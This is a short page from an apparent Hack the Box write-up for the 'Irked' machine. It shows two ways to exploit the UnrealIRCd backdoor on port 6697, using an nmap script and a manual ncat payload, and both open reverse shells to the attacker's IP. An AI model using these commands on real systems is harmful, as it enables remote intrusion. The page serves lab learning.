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  • Method 1
  • Method two

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  1. Hack the Box Linux
  2. Irked

Exploitation

PreviousScanning and EnumerationNextPost Exploitation

Last updated 4 years ago

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Method 1

Set up your nc listener and run the following script on nmap 

nmap -p 6697 --script=irc-unrealircd-backdoor --script-args=irc-unrealircd-backdoor.command="nc -e /bin/bash 10.10.14.28 4444"  10.10.10.117

Method two

We can manually exploit by gaining access to the system with ncat. 

echo "AB; bash -c 'bash -i >& /dev/tcp/10.10.14.28/1234 0>&1' " | ncat 10.10.10.117 6697
irc-unrealircd-backdoor NSE script &emdash; Nmap Scripting Engine documentation
RFC 1459 - Internet Relay Chat Protocol
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Connection Established!
We get a response from IRC via ping as shown on the left hand side, vulnerable to command execution
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A backdoor in UnrealIRCdlwnnet
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